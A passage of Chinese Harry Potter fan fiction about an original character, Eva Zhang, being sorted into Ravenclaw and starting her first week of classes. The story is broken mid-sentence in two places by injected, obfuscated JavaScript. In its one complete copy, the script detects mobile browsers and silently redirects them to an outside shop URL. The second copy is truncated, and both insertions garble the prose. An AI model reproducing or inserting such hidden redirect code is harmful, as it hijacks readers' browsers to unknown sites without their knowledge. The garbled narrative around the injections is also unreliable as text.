名字一个接一个被念出。“格兰芬多!”“赫奇帕奇!”“拉文克劳!”“斯莱特林!”每喊出一个名字,就有一张长桌爆发出欢呼和掌声。 当“哈利·波特”被叫到时,整个大厅响起一片嗡嗡的议论声,所有脑袋都转了过去。 Eva看着哈利戴上那顶脏兮兮的帽子,帽子滑下来,遮住了他的眼睛。时间好像过了特别久,久到议论声都渐渐低下去,所有人都在等。 “格兰芬多!” 格兰芬多那桌瞬间炸开了锅,欢呼声简直要掀翻屋顶。哈利摘下帽子,脚步有点飘地走向他的新同学,脸上是放松下来的笑容。罗恩在那桌激动地朝他拼命挥手。 Eva静静地看着。那个棕发卷毛的女孩(赫敏·格兰杰)几乎刚碰到帽子就被分到了格兰芬多,罗恩也是,还有火车上那个浅金色头发、下巴抬得高高的男孩(德拉科·马尔福),很快就被分到了斯莱特林。 “Eva Zhang.” 她的名字被念出来时,Eva感觉到很多目光刷地集中到她身上。她走上前,坐上那张四脚凳。帽子落在头上,有点沉,挡住了大部分光线。 “嗯……”一个细微的声音直接在脑子里响起,带着思考,“有意思。很聪明,喜欢读书,喜欢琢磨,不怕难的东西……拉文克劳,没错。” Eva在心里没出声。拉文克劳,智慧的学院,听起来是不错。 “哦?等等……”帽子的声音好像有点惊讶,“这是……什么东西?一种……很老的念头。不急着选边站?想看清楚再动?你身体里的力量,也不全是魔力……哎呀,这个真少见。” 帽子好像卡住了。“你有拉文克劳的聪明,可你心里头……更像是在旁边看,想弄明白,不是急着要属于哪里。你怕被框住吗,孩子?你想找的,是不是那种……站在中间的路?” 不是怕,Eva在心里轻轻回答,爷爷说,要先看清楚中间的线在哪。 “看清楚……对,要看得清,就不能把自己放进去。”帽子慢慢地说,“斯莱特林能让你变强,可那里的想法可能会让你走歪。格兰芬多勇敢,可太急了可能会打破你想守的平衡。赫奇帕奇公道,可能有点……太安稳了,少了一点你想探究竟的劲儿……” 时间一点点过去,大厅里开始有低低的说话声。一个东方面孔的女孩,加上帽子考虑了这么久,让大家更好奇了。 “好吧,既然你有看明白的聪明,又不想太早被定下是哪儿的人……那就,拉文克劳!”帽子最后大声宣布,“去高塔上吧。在那儿,你能看清楚所有。古老的智慧,得找个合适地方落地。你会找到你要的答案的。” 最后一句,像是悄悄话,只对她一个人说。 掌声响起来,主要是从蓝青铜色的拉文克劳长桌那边传来的,礼貌,带着好奇。Eva平静地摘下帽子,还给麦格教授,对着教师席的方向,微微弯了弯腰,一个她自己都没太注意的、从小习惯的动作,然后走向为她挪出位置的长桌。 她在一位金色长发、气质安静的女孩旁边坐下。 “欢迎来拉文克劳,”女孩微笑着说,蓝色的眼睛很柔和,“我是曼蒂·布洛赫。” “谢谢,我是Eva Zhang。”Eva回应道,目光却不由自主地越过热闹的人群,看向格兰芬多长桌。正好,刚刚坐下、被同学们围住的哈利·波特,也抬起头。隔着晃动的人影和温暖的烛光,他们的目光碰了一下。哈利的绿眼睛里还留着兴奋和一点点没散去的茫然,而Eva的眼神,平静得像秋天的潭水,带着对这一切刚刚开始的打量。 她转回头,面前的金盘子里突然堆满了食物。分院结束了,她有了一个暂时的地方,一个适合先看看、先弄明白的地方。 3. 拉文克劳塔楼 拉文克劳的公共休息室在天文塔楼上,得爬好长好长的旋转楼梯。 Eva跟着级长罗伯特·希利亚德和其他新生往上走。楼梯一圈又一圈,转得她有点头晕。罗伯特个子高高,脸上总带着温和的笑,他边走边回头说:“拉文克劳的入口不在地下,也不在地面,我们在高处——看得最远。” 终于,他们停在一道光滑的橡木门前。门上没有把手,只有一个青铜做的鹰形门环,老鹰的眼睛在昏暗光线里幽幽发亮。 “要进去,得答对一个问题。”罗伯特转过身,对脸蛋还红扑扑的新生们说,“什么问题都可能——魔法史、理论、谜语,甚至麻瓜的学问。答对了,门才开。这是我们院的传统,提醒我们智慧是通行证。” 一个淡金色头发、戴眼镜的男孩紧张地推了推眼镜:“要是答不上呢?” “那就等着,”罗伯特耸耸肩,“等到有人答出来,或者你自己想出来。通常不会太久。谁想试试?” 新生们你看我,我看你。Eva站在后面,安静地看着那个门环,这让她想起爷爷书房那个要对上诗句才会开的锁。 “我来。”一个褐色短发、眼神机灵的女生走上前,吸了口气,敲了敲门环。 鹰喙张开了,一个清晰但毫无感情、带着回音的声音响起:“什么东西越给予,自己反而越丰盈?” 女生眨眨眼,很快笑了:“知识!” “正确。”橡木门悄无声息地向内滑开,温暖的灯光和旧书、羊皮纸特有的气味涌了出来。 新生们鱼贯而入,发出低低的惊叹。 休息室很大,是圆形的。高高的拱窗挂着蓝色和青铜色的丝绒窗帘,窗外是深蓝近黑的夜空,星星又大又亮。穹顶绘着星图,星辰缓缓移动。墙边全是高耸的书架,塞满了书,有些烫金,有些旧得字迹模糊。几张宽大的桌子散落各处,上面摆着黄铜仪器、羊皮纸卷和没吃完的薄荷糖。壁炉里火焰噼啪作响,旁边散放着舒适的扶手椅,几个高年级学生坐在那里看书或低声交谈,听到动静,投来友善的一瞥。 房间中央最引人注目的是一座白色大理石雕像,那是一位戴着头冠的女子,面容美丽,眼神睿智得仿佛能洞悉一切。 “罗伊纳·拉文克劳,”罗伯特顺着Eva的目光看去,“我们的创始人。她相信才智是最宝贵的财富。” 罗伯特开始讲解规则:宵禁时间、图书馆的使用、禁止在休息室里熬制气味浓烈的魔药(“去年有个五年级生熬制缩身药水时加了双倍的皱皮无花果,冒出那种可怕的臭鸡蛋味黄烟,家养小精灵擦洗了整整一个礼拜,天花板上的污渍才淡下去。”)。然后他指了指两道螺旋楼梯:“男生左边,女生右边。行李已经送到寝室了。” 女生寝室在塔楼更高处。Eva跟着大家爬上一段旋转石梯。门口一块小铜牌亮着字,显示着寝室成员的名字:Eva Zhang, Lisa Turpin, Mandy Brocklehurst, Padma Patil。 寝室是圆形的,不大却舒适。四张带深蓝色帷幔的四柱床靠墙摆放,每张床边都有一扇窄窗、一张书桌和一个衣柜。她的行李箱放在床脚,素雪的笼子搁在书桌上,素雪正用喙梳理着羽毛。 Eva从床边的窄窗望出去,正好能看见黑湖,湖面在月光下泛着细碎的银光。另外三个女孩已经到了:褐色短发的丽莎·杜平,浅金色长发、气质文静的曼蒂·布洛赫(礼堂里坐在她旁边的那个),还有皮肤微黑、头发又长又直的帕德玛·佩蒂尔,她有个双胞胎妹妹在格兰芬多。 “你的猫头鹰真漂亮,”帕德玛轻声说,“我带了只谷仓猫头鹰,叫维克拉姆,放在楼下的猫头鹰棚屋了。” “谢谢。”Eva打开笼门,素雪跳出来,轻盈地落在她肩上,琥珀色的眼睛打量着新环境。 女孩们开始换上睡衣,收拾东西。Eva从箱子里取出那个装着紫竹笔的紫檀木盒,小心地放进书桌抽屉,又将绢帛笔记塞到枕头下。那套青色道袍和旗袍,她犹豫了一下,还是叠好收进了衣柜深处。最后,她拿出那根紫杉木魔杖,放在床头柜上。 魔杖在室内光线下泛着幽深的色泽。Eva盯着它看了一会儿,指尖无意识地抚过腕上的玉佩。玉佩温润的触感,与魔杖隐隐散发出的、微妙的张力截然不同。 “那是你的魔杖?”丽莎凑过来看,“颜色真深。” “嗯。”Eva简单应道。 “奥利凡德先生跟你说什么了?我的魔杖是樱桃木的,他说适合‘有远见的人’。”丽莎的语气带着点小得意。 “他说……它等了很久。”Eva轻声说。 就在这时,门口传来轻轻的敲门声,接着门被推开一道缝。一个黑发扎成利落马尾的女孩探头进来,深褐色的眼睛带着开朗的笑意。她穿着拉文克劳的蓝色睡衣,怀里抱着个靠枕。 “嘿,新生们!我是秋·张,二年级。”她用英语说,然后目光落在Eva脸上,换成有些生硬的普通话,“罗伯特跟我说我们院来了位姓张的新生,我就过来打个招呼——果然是你!分院时我就注意到你了。” Eva站起身:“我是张丽华,叫我Eva就好。” “Eva,”秋重复了一遍,点点头,自然切换回英语,“我父母是从香港来的,我们家住在伦敦。你呢?听你口音……” “我从内地来,”Eva也用英语回答,“江南一带。” “真的?”秋眼睛一亮,抱着靠枕走进来,“我祖父母还在香港,但我还没回过内地呢。你会说粤语吗?” “不会,”Eva摇摇头,“我说普通话和一点家乡话。” “我说粤语和英语,”秋笑起来,“普通话只会一点点。不过没关系,在这儿我们说英语的时候多。有任何需要帮忙的,随时找我,同一个学院就像一家人。” 她的热情很真挚,Eva能感受到那种同为华裔的亲近感,但又明显不同。秋更开朗、直接,是在英国长大的女孩的模样。 “谢谢。”Eva说。 “对了,明天早饭后我带你去认认路?”秋提议,“城堡大得像迷宫,我刚来时迷路了好多次。” “好的。” 秋又和丽莎、曼蒂、帕德玛简单聊了几句,然后抱着靠枕离开了:“不打扰你们休息了,晚安!” 门关上后,丽莎好奇地问:“你们之前认识?” “不认识,”Eva说,“但都姓张。” “在英国遇到同姓的华裔确实挺难得的,”帕德玛理解地说,“我和我妹妹在火车上遇到另一个印度女孩时,也特别开心。” 曼蒂已经爬上床,从帷幔里探出头:“秋人很好,她是拉文克劳魁地奇队的替补找球手,虽然才二年级,但飞得很棒。” Eva点点头,躺进柔软的被褥。枕头有阳光晒过的干净味道。她听着其他女孩逐渐平稳的呼吸,以及城堡远处传来的、难以辨别的细微声响。 今天发生了太多事。火车,黑湖,城堡,分院帽在她脑中的低语——那些话她还在琢磨。“看得清所有”,“古老的智慧需寻得落足之处”。拉文克劳塔楼确实很高,视野开阔。 还有秋·张。一个在英国出生长大的华裔女孩,开朗友善,似乎已深深融入了这里。 她闭上眼睛,慢慢沉入睡眠。 第二天早晨,Eva被一阵扑棱声唤醒。素雪正用喙轻啄她的帷幔。窗外天已大亮,阳光透过高塔的窗户,在地板上投下明亮的光斑。 她赶紧起床,换上校服长袍。其他女孩也陆续醒来,寝室里充满了早晨特有的忙乱:找袜子、梳头、互相提醒别忘带课本。 下楼到公共休息室,已有不少学生在排队等待回答门环的晨间问题。今天的问题是:“何物无生命,却能生长;无肺腑,却需呼吸?” 一个五年级学生很快答道:“火。” 门开了。他们鱼贯而出,走下漫长的旋转楼梯,前往礼堂。 礼堂里同样明亮喧闹,长桌上摆满了食物:烤面包、熏咸肉、煎蛋、燕麦粥,还有冒着热气的南瓜汁。天花板是淡淡的蓝天,飘着几缕白云。 Eva在拉文克劳长桌找了个位置坐下,旁边是曼蒂。她拿了一片烤面包,慢慢地涂上黄油。 “Eva!” 秋在她对面坐下,马尾辫随着动作轻轻晃动:“睡得好吗?塔楼很高,有些人第一晚会觉得不安稳。” “还好。”Eva说。 “那就好,”秋咬了一口吐司,“对了,课表拿到了吗?级长应该早上在休息室发过了。对!就是这个。”她指着Eva刚拿出来的深蓝色羊皮纸,“我看看……一年级今天有魔咒课、变形术、魔药课。魔咒课的弗立维教授人特别好,就是个子矮,上课得仔细听。变形术的麦格教授非常严格,但教得极好。魔药课嘛……”她做了个鬼脸,“斯内普教授……嗯,自求多福吧。” Eva不时点头,暗暗记下。九点,魔咒课(与赫奇帕奇合上);十一点,变形术(与格兰芬多合上);下午一点半,魔药课(再次与格兰芬多合上)。 “还有,”秋压低声音,“如果在城堡里迷路了,记得问画像。有些画像特别爱聊天,可能会指错路,但大部分是好的。还有那些会动的楼梯——千万别在它们移动时傻站着,我上次就被困在四楼和五楼之间等了二十分钟。” “谢谢。”这些提醒很实用。 “别客气,”秋笑道,“对了,周末如果有空,我们可以一起写作业。我魔药不太行,但魔咒课还可以。” 这时,她看见哈利、罗恩和那个叫赫敏的棕发女孩一起走进礼堂。赫敏边走边飞快地翻着一本厚书,嘴里念念有词;罗恩打着哈欠,头发更乱了;哈利看上去有些疲惫,眼下有淡淡的阴影。 哈利似乎感觉到视线,抬起头,正好与Eva目光相接。他愣了一下,随即露出一个有点局促、不太确定的微笑。 Eva也轻轻颔首。 秋顺着她的目光看去:“哦,哈利·波特。他昨晚分到了格兰芬多。整个礼堂都在议论他。” “你认识他?”Eva问。 “不认识,但谁不知道他呢?”秋耸耸肩,“‘大难不死的男孩’。不过我听说他挺安静的,不像有些人那么爱出风头。” Eva没再说什么,继续吃她的早餐。秋又聊了些拉文克劳的趣闻:去年有个学生试图用魔法让书本自动翻页,结果把半本《魔法史》变成了会咬人的纸鸟;公共休息室角落那架旧望远镜据说能看清月亮上的蟾蜍(“真的,我发誓见过!”);还有拉文克劳的幽灵格雷女士,有时会整夜飘在塔顶凝望星辰。 早餐后,Eva跟着拉文克劳的队伍前往魔咒课教室。秋在门口朝她挥手:“祝好运!下午魔药课如果遇到麻烦……嗯,或许我们可以一起研究,虽然我也不太擅长!” 她的友善像一小团温暖的火焰。Eva点点头,初来乍到的疏离感似乎因这份善意而淡化了些许。 魔咒课教室在三楼。弗立维教授站在一摞厚书上,才勉强够到讲台。但他的声音洪亮,讲解咒语原理时清晰而充满热情。 “今天我们学习第一个咒语——漂浮咒!羽加迪姆勒维奥萨!”弗立维教授示范,一根羽毛轻盈地升到空中,“手腕动作要轻快,像甩钓鱼线——而不是拍苍蝇!” Eva拿出紫杉木魔杖。指尖触碰的瞬间,那股熟悉的热流再度涌动。她按照教授指导,手腕轻抖,清晰地念出咒语:“羽加迪姆勒维奥萨。” 她面前那根灰色羽毛“嗖”地一声直冲天花板,速度快得惊人,“啪”地贴上顶板,才慢悠悠飘落。 弗立维教授眨了眨眼:“哦!力量非常充沛,张小姐!但控制,控制是关键。再来一次,轻一些,想象你托着的是一片雪花。” 第二次,Eva刻意收敛了那股热流,让它变得细缓平稳。羽毛应声升起,悬浮在半空,微微颤动。 “很好!”弗立维教授高兴地说,“拉文克劳加五分!” 旁边一个赫奇帕奇圆脸男孩——贾斯廷·芬列里——羡慕地看着她:“你一次就成功了?” “运气。”Eva轻声说,放下魔杖。她能感到魔杖似乎有些“意犹未尽”,渴望释放更多力量。 变形术课是与格兰芬多合上,在麦格教授的教室。麦格教授威严的气场让所有学生噤若寒蝉。她将讲桌变成一头猪,又利落地变了回来。 “变形术是你们在霍格沃茨所学的课程中最复杂、最危险的魔法之一,”麦格教授开门见山,声音清晰有力,“任何人在我的课堂上调皮捣蛋,就出去,并且可能永远不许再进来。我说清楚了吗?” 她一挥魔杖,每个人面前都出现了一根火柴。“今天,你们要尝试将火柴变成一根针。这需要极强的专注力、清晰的想象力以及精准的魔力控制。咒语是‘速速变形’,手腕动作如下——” 她干净利落地示范了手腕旋转的动作。 “现在,开始练习。” 教室里立刻充满了嗡嗡的念咒声和魔杖挥动的风声。Eva握住紫杉木魔杖,感觉它在掌心微微发热。她集中精神,凝视着那根小小的棕色火柴,在脑海中勾勒出一根银针的模样:尖细、闪亮、针眼清晰。 “速速变形。”她轻声念道,手腕一转。 噗的一声轻响,火柴扭曲了一下,一端变得尖锐,但另一端仍是木头,成了一根古怪的“针-火柴”混合物。 旁边,赫敏·格兰杰已经成功地将火柴变成了一根完美的银针,针眼分明。麦格教授走过去,严肃的脸上露出一丝赞许:“做得非常出色,格兰杰小姐。格兰芬多加五分。” 赫敏脸颊微红,但眼睛亮晶晶的。 Eva再次尝试。这次她更加专注,不仅想象针的形态,也试着调动体内那股平和的“炁”,引导它顺着手臂流入魔杖,融入咒语。 “速速变形。” 火柴剧烈抖动,继而缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980619|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成一团银光,展开时,已是一根针。银色的针身表面带着细微的螺旋纹路,不如赫敏的那根标准光滑,但无疑是一根针。 麦格教授走过来,拿起Eva变的针细看了看,眉毛几不可察地挑动了一下:“一次……独特的变形,张小姐。成功了,但控制力尚需锤炼。拉文克劳加三分。” Eva松了口气,放下魔杖,感到手心微湿。变形术比她预想的更难,要求的精神集中度极高,与爷爷所教的静心内观有相似之处,但更为“外向”和具有“塑造性”。 她瞥向格兰芬多那边。罗恩的火柴冒了股烟,烧成了灰烬,他正懊恼地咕哝。哈利紧锁眉头,全神贯注地念咒,他的火柴变细变亮了,但仍未完全成为针。 课程结束后,学生们涌出教室,在走廊里有短暂的交流时间。Eva遇到了正对着他那根半银半木火柴发愁的罗恩,以及拿着那根有点弯曲的“准针”的哈利。 “嘿,Eva,”哈利看到她,眼睛亮了一下,“你的怎么样了?” “马马虎虎。”Eva老实展示她那根带花纹的针。 “麦格教授简直严格得吓人,”罗恩哀叹,“我哥哥比尔说,她当年……” 话没说完,一阵急促的脚步声传来。是赫敏·格兰杰,抱着一大摞书,棕色的卷发随着她的脚步跳动。 “你们看见《魔法理论》的第三章了吗?关于变形中的物质守恒——”她的话戛然而止,目光落在Eva脸上,愣了一下,然后点点头,“哦,你好。你是拉文克劳的,对吧?昨天分院的时候。” “我是Eva。”Eva说。 “赫敏·格兰杰。”赫敏语速很快,“我听说你的漂浮咒做得很好,弗立维教授都表扬你了。你是怎么控制魔力输出的?预习的时候我总觉得我的羽毛晃得厉害。” Eva想了想:“就……想着让魔力细细地流,别一下子冲出来。” “像调细水管,”赫敏若有所思,接着她好像忽然想起什么,看了一眼空荡荡的手腕——Eva猜她大概习惯了戴手表,“我得走了!得去图书馆占个靠窗的好位置,下午魔药课之前我得把《魔法药剂与药水》的笔记再顺一遍,斯内普教授肯定不会喜欢有人没准备好。” 她说着就侧身要走,怀里的书歪了一下,差点蹭到一个正好路过的、穿绿色院袍的高年级斯莱特林。那人赶紧躲开,从鼻子里哼出一声,声音不大但挺清楚:“莽撞的——” 赫敏好像根本没听见,或者听见了但没空理。她只是匆匆对Eva和哈利、罗恩点了点头,就把书抱得更紧些,哒哒哒地朝图书馆那边小跑着去了,嘴里还念念有词,好像在背什么。 Eva看着她的背影消失在走廊拐角。这个女孩像一团烧得旺旺的小火苗,噼里啪啦的,一刻也停不下来。 下午一点四十五分,Eva跟着人群走向地下教室。越往下走,空气越阴冷,光线越昏暗,空气中开始弥漫着草药和古怪化学物质混合的气味。魔药课教室在地下,与楼上城堡的明亮温暖截然不同。 斯内普教授走进来时,黑袍翻滚,宛如一只巨大的蝙蝠。 他那段关于“名气”的开场白,尤其是盯着哈利说的部分,让教室里的温度仿佛骤降了几度。Eva看到哈利僵在座位上,绿眼睛死死瞪着斯内普,手指捏得发白。 接着是提问环节。赫敏的手臂几乎举到天花板,但斯内普完全无视,径直点了哈利。 哈利答不出。斯内普冰冷而刻薄的讽刺像毒蛇的吐信。Eva微微蹙眉。这不像教学,更像某种……针对。 轮到实际操作,熬制治疗疥疮的药水。Eva和帕德玛一组。她们按步骤处理干荨麻,小心地研磨蛇牙。Eva做得很仔细,爷爷教导过,处理药材最忌急躁。当她将坩埚架到火上,顺时针搅拌三圈半后,锅中药液逐渐变成了课本描述的、清澈的浅蓝色。 一股阴影笼罩了她们的操作台。斯内普不知何时悄无声息地滑到了她们身后。他俯身,用瘦长的手指沾了点药液,凑到鼻尖嗅了嗅,又让它在指尖捻开。那双漆黑的眼睛锐利地扫过Eva的脸。 他沉默了足足三秒,才用那种平板、毫无波澜的语调说:“……颜色正确,质地尚可。至少有人严格按照步骤操作了。” 他没有加分,也没有明确的赞扬,只是陈述事实般的评价。说完,他立刻转向旁边纳威和西莫那一组,那里的坩埚正冒着不祥的黄绿色烟雾。斯内普的声音陡然变冷,语速加快:“隆巴顿!你是把豪猪刺在沸腾时加进去了吗?停下!立刻停下!” 但已经晚了。一声闷响,纳威的坩埚熔穿了,药水四溅,他自己和西莫的脚上立刻冒出了红肿的疥疮。地下教室一片混乱。 Eva看着痛苦呻吟的纳威被快速送往医疗翼,心沉了沉。魔药课远不止背诵步骤。在这里,失误伴随着真实的、痛苦的后果。 混乱中,斯内普给格兰芬多扣了分,又严厉警告了所有人。当教室重新恢复秩序时,Eva注意到斯内普的目光再次扫过她的坩埚,那眼神里有一闪而过的审视,随即又变得空洞冷漠。 剩下的时间里,Eva更加小心地看管着火候。下课时,她和帕德玛成功装瓶了合格的治疗疥疮药水,但过程让人神经紧绷。 走出阴冷的地下教室,回到城堡主楼,Eva才感觉呼吸顺畅了些。下午剩下的时间没有安排课程,一些学生选择去图书馆或回公共休息室。 “去图书馆吗?”帕德玛问,她看起来也有些疲惫,“我想找点关于基础魔药材料处理的资料,今天太吓人了。” Eva点头同意。她也想多了解一些,避免将来犯下危险的错误。 图书馆里寂静无声,只有书页翻动的沙沙声和平斯夫人巡视的轻微脚步声。Eva和帕德玛在“魔药学基础”的书架前停留了许久,比较着不同的指南,又坐在靠窗的位置安静地阅读。当Eva终于从一本《千种神奇药草与蕈类》的插图详解中抬起头时,窗外的光线已经变成了金红色。 抱着书走出图书馆时,天色已近黄昏。Eva慢慢踱回拉文克劳塔楼。夕阳的光线斜斜穿过高高的窗户,在古老的石地上投下长长的、温暖的光影。 鹰形门环今天的问题是:“何物始于终结之后,又终于开端之前?” Eva思索片刻,答道:“明日。” 门悄无声息地开了。 她走进公共休息室。壁炉里的火焰安稳地燃烧着,映照着几个埋头看书或书写论文的学生。窗边,秋·张正和另一个拉文克劳女孩下巫师棋,棋子们互相叫骂着。秋看到她,抬头笑了笑。 Eva找了个靠窗的安静角落坐下,翻开了那本《常见魔药材料处理指南》。 窗外的天色渐渐染上暮色,塔楼高处,第一批星辰悄然浮现。城堡某处传来隐约的钟声,平和而悠远。 她轻轻摸了摸腕上的玉佩,温润的触感让人安心。然后低下头,继续阅读。 霍格沃茨的生活,就这样开始了。 4. 缓慢的日子 接下来的日子像秋天的溪水,流得不快,但总在往前。 Eva渐渐找到了自己的节奏。每天早上,素雪会用喙轻轻啄帷幔的绳子,嗒嗒嗒,像小雨点敲窗户。Eva会在其他女孩醒来前起床,套上晨衣,坐到窗边书桌前。 窗外,霍格沃茨在慢慢醒过来。黑湖从墨黑变成深蓝,再蒙上一层银灰的雾。远山的轮廓一点点清楚起来,在亮起来的天边像毛笔画出来的。 她会翻开爷爷那本绢帛笔记。纸薄薄的,软软的,摸起来像某种树皮。静心口诀只有八句,三十二个字,但她每天看。 “气沉丹田,意守膻中,神游太虚,复归其根。” 她小声念,手指跟着笔画走。爷爷说不用急着懂,先让身体记住这个调子。她就只是坐着,呼吸慢慢慢下来,感觉身体里那股从小就有的“炁”在流,凉凉的,顺顺的。 大概十分钟后,她合上笔记,开始收拾床。拉文克劳的四柱床帷幔是深蓝色的,白天拉开用铜钩挂好。她把床单抚平,枕头拍松。 这时其他女孩差不多也醒了。帕德玛总是第一个坐起来,把长发拨到肩后;丽莎会发出一声长长的哼哼,把脸埋进枕头再赖一会儿;曼蒂最安静,只是睁开眼睛,盯着天花板发会儿呆,才慢吞吞起来。 穿校服长袍成了每天早上的事。袍子料子厚,但塔楼高,总有风,所以里面要穿衬衫和毛衣。 七点整,她准时下楼。旋转楼梯的石头台阶中间都磨得凹下去了,边上长着薄薄的青苔。墙上的画里,那些穿蓝袍子的拉文克劳老巫师,有的还在打呼噜,有的朝她点点头。 公共休息室早晨的味道很特别。壁炉里的余烬暖暖的;羊皮纸和旧书的味道从书架上飘出来;还有一丝薄荷糖甜味。 鹰形门环前通常已经围着两三个人。今天Eva前面是个四年级女生,正皱着眉头嘀嘀咕咕。 青铜鹰形门环在晨光里泛着暗金色。鹰的眼睛好像会动。 轮到Eva时,她轻轻敲了敲门环。 鹰喙张开,那个中性的、带着回音的声音响起:“什么东西没有重量,却能压垮一个人;没有实体,却能支撑一个人?” Eva想了想。她想起爷爷坐在老宅院子里的样子,安安静静的,但背挺得直直的。 “责任。”她说。 “正确。”门开了。 早餐的礼堂总是热闹。四张长桌上堆满了吃的:烤面包、熏肉、煎蛋、燕麦粥,还有南瓜汁。天花板今天是淡淡的蓝色,飘着几缕云。 Eva通常在拉文克劳长桌中间找个位置。曼蒂喜欢坐她旁边。 今天曼蒂在翻《千种神奇药草与蕈类》。“斯普劳特教授说下周要讲魔鬼网,”她说,“得在黑暗潮湿的地方才能长得快。” Eva拿了一片烤面包,仔细涂黄油——这是妈妈教的,边边不能滴下来。 格兰芬多长桌在另一头。Eva看到哈利和罗恩坐一起,罗恩正对着一碗粥皱眉。赫敏在旁边看书,勺子停在半空。 哈利抬头时,目光扫过拉文克劳长桌,和Eva对上了。他愣了一下,然后露出一个笑,有点害羞,但真诚。Eva轻轻点了点头。 这样的早晨对视好像成了他们之间的小默契。不说话,就是知道对方在那儿。 星期二的魔咒课和赫奇帕奇一起。教室在三楼,窗户很大,能看到草坪。弗立维教授站在他那摞书上,今天要教“修复咒”。 “咒语是‘恢复如初’,”弗立维教授尖尖的声音很清楚,“关键是要想清楚东西完好的样子!要具体!” 他示范的时候,一根断成两截的羽毛笔在他咒语下慢慢接起来。 轮到学生练习,Eva拿出紫杉木魔杖。手指一碰到它,那股熟悉的热流就涌上来了。 她面前放着一个有裂纹的墨水瓶。 “恢复如初。”她轻声念,手腕一抖。 魔杖尖涌出来的魔力太猛了。墨水瓶猛地一震,裂纹消失,但瓶身变得过分光滑,泛出一层不该有的亮光。 弗立维教授飘过来,拿起墨水瓶看了看:“哦……修得……挺彻底的,张小姐。但修复咒是要恢复原样,不是改得更好。拉文克劳加三分,因为魔力够强,但下次记得收着点。” Eva点点头。她看着那个墨水瓶,心里明白这不是“成了”,是“做过头了”。 旁边赫奇帕奇的贾斯廷·芬列里凑过来看:“你真厉害,一次就成了。” “多试几次就好。”Eva说。 星期三下午是魔法史。 宾斯教授飘在讲台上方,用平平的调子念讲义:“……妖精叛乱持续了将近三年,直到1359年才被完全镇压……” Eva努力睁大眼睛,但眼皮越来越重。阳光从高窗斜射进来,把羊皮纸上的字晃得模糊。她听到旁边有轻轻的呼噜声——丽莎已经趴着睡着了。 宾斯教授好像完全没注意到。他继续念:“……魔法部当时的应对后来受到诸多批评……” Eva掐了一下手背,疼让她清醒了几秒。她看向窗外,院子里有几个学生在散步。 下课铃响的时候,宾斯教授正好讲到“叛乱的影响”。他停住话头,像被打断了思路,然后说:“下周继续。”说完就穿墙走了。 学生们赶紧收拾东西。丽莎被帕德玛推醒,脸上还留着课本印子。 “我睡了多久?”她迷迷糊糊地问。 “一整节课。”曼蒂笑着说。 星期五的飞行课是个晴天。草坪绿油油的,剪得整整齐齐。二十把飞天扫帚排成两行,看起来又旧又倔。 霍琦夫人站在前面,灰白头发扎得紧紧的。“好了,你们还等什么?”她声音洪亮,“每个人都站到一把扫帚右边!快点!” Eva走到一把扫帚前。扫帚柄上有很多划痕。 “伸出右手,放在扫帚上面,”霍琦夫人示范,“然后清楚地说:‘起来!’” “起来。”Eva说。 扫帚在地上滚了半圈,慢悠悠升到她手里。她握紧把,粗糙的木刺扎手心。 她看了看周围。哈利的扫帚几乎是立刻跳进他手里。赫敏的扫帚在地上滚来滚去,就是不起来。罗恩的扫帚猛地弹起来,打中他的鼻子,他疼得蹲下去。 “我叫你起来!不是叫你打我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后麦格教授出现了。她从城堡方向快步走来,脸比纳威摔下来时霍琦夫人的还要白。 “哈利·波特!” 她的声音像鞭子一样抽在安静的草坪上。所有人都僵住了。 哈利跟着麦格教授离开时,回头看了一眼。他的目光扫过人群,和Eva对上了。他的表情很复杂——有害怕,有倔强。 整个下午,Eva都心神不宁。晚餐时,她留意着格兰芬多长桌。哈利没出现。罗恩坐立不安。赫敏表情严肃。 直到甜品时间,哈利才匆匆走进礼堂。他脸上带着压不住的兴奋,快步走到罗恩旁边坐下。 消息很快散开了。 “他被选进魁地奇球队了……” “一年级找球手!” “麦格教授亲自推荐的!” Eva看着哈利被格兰芬多的学生们围住,拍肩膀,问问题。他的脸红了,但笑得很开心。 她想起他在天上的样子——那么自然,那么自在。 那天晚上在拉文克劳公共休息室,壁炉里的火烧得正旺。几个学生在低声说话。 “违反校规还能进球队……” “但他确实飞得好。” Eva坐在窗边,膝盖上摊着《初级变形术原理》,但没看进去。她望着窗外,黑湖在月光下泛着碎碎的银光。 爷爷说过,规矩要懂,但不能被规矩捆死。看清楚规矩为什么存在,才能知道什么时候该守,什么时候该变。 5. 奇妙的万圣节 十月来得悄无声息。城堡周围的森林先是泛起一层薄薄的金黄,然后那金黄就沉甸甸地压满了枝头。风一吹,落叶像下雨一样,哗啦啦铺满了草地和庭院。城堡里的窗户开始蒙上水汽,壁炉从早到晚都燃着火,木头噼啪作响的味道混着城堡古老的石头气息,让Eva想起爷爷老宅冬天生炭盆的情景。 日子过得像拉文克劳塔楼旋转楼梯一样,一圈一圈往上爬。魔咒课上,他们开始学“火焰熊熊”。Eva的紫杉木魔杖在这个咒语上简直如鱼得水,她的蜡烛火焰不是“点燃”,而是“轰”地一声窜起一尺多高的蓝色火苗,把弗立维教授的尖顶帽檐都燎焦了一小块。在弗立维教授惊慌失措地大喊“控制!控制!”后,她才勉强让火焰稳定在一寸高,但那火焰的颜色始终是诡异的青蓝色,而不是正常的橙黄。 变形术越来越难。现在他们要把茶杯变成老鼠。麦格教授强调的不只是外形,还有“生命感”——老鼠会动,会呼吸,有体温。Eva的茶杯长出了灰色的皮毛和粉色的尾巴,但四条腿长短不一,而且只会原地转圈,像发条坏掉的玩具。赫敏的茶杯变成的老鼠已经能在桌上灵巧地跑动,甚至试图啃她的羽毛笔,麦格教授为此又给格兰芬多加了十分。 